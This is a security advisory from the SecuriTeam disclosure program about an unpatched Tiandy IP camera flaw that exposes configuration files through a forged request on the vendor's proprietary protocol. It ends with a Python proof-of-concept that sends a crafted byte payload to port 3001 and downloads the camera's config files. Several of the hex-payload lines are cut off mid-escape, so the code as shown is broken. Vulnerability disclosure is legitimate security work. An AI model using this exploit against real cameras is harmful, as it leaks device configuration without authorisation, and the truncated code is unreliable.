SSD Advisory – Tiandy IP cameras Sensitive Information Disclosure

blogs.securiteam.com/index.php/archives/3444

SSD / Maor Schwartz October 3, 2017

Vulnerability Summary
The following advisory describes sensitive information Disclosure found in Tiandy IP cameras version 5.56.17.120

Tianjin Tiandy Digital Technology Co., Ltd (Tiandy Tech) is “one of top 10 leading CCTV manufacturer in China and a global supplier of advanced video surveillance solutions.”

Credit
An independent security researcher, Netfairy, has reported this vulnerability to Beyond Security’s SecuriTeam Secure Disclosure program.

Vendor response
We tried to contact Tiandy starting from August 16 2017, repeated attempts to establish contact went unanswered. At this time there is no solution or workaround for this vulnerability.

Vulnerability details
Tiandy uses a proprietary protocol, a flaw in the protocol allows an attacker to forge a request that will return configuration settings of the Tiandy IP camera.

Proof of Concept
By sending the following request, an attacker can download the following files:

- config_server.ini
- extendword.txt
- config_ptz.dat
- config_right.dat
- config_dg.dat
- config_burn.dat

```
POC.PY

import socket
ip = '192.168.1.1'
data1 =
'\x74\x1f\x4a\x84\xc8\xa8\xe4\xb3\x18\x7f\xd2\x21\x08\x00\x45\x00\x00\xcc\x3e\x9a\x40\x00\x40\x06\xd4\x13\xac\x10\x65\x75\x6e\x31\xa7\xc7\x43\x5b\x0b\xb9\x85\xbc\x1d\x
+
'\x18\x7f\xa4\xc6\xcf\x00\x00\xf1\xf5\xea\xf5\x74\x00\xa4\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x90\x00' + ip +
'\x09\x50\x52\x4f\x58\x59\x09\x43\x4d\x44\x09\x44\x48\x09\x43\x46\x47\x46\x49\x4c\x45\x09\x44\x4f\x57\x4e\x4c\x4f\x41\x44\x09\x36\x09\x63\x6f\x6e\x66\x69\x67\x5f\x73\x6
+
'\x69\x6e\x69\x09\x65\x78\x74\x65\x6e\x64\x77\x6f\x72\x64\x2e\x74\x78\x74\x09\x63\x6f\x6e\x66\x69\x67\x5f\x70\x74\x7a\x2e\x64\x61\x74\x09\x63\x6f\x6e\x66\x69\x67\x5f\x7
+
'\x64\x61\x74\x09\x63\x6f\x6e\x66\x69\x67\x5f\x64\x67\x2e\x64\x61\x74\x09\x63\x6f\x6e\x66\x69\x67\x5f\x62\x75\x72\x6e\x2e\x64\x61\x74\x0a\x0a\x0a'

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect((ip,3001))
s.send(data1)
while True:
  buf = s.recv(64)
  if not len(buf):
    break
  print buf
```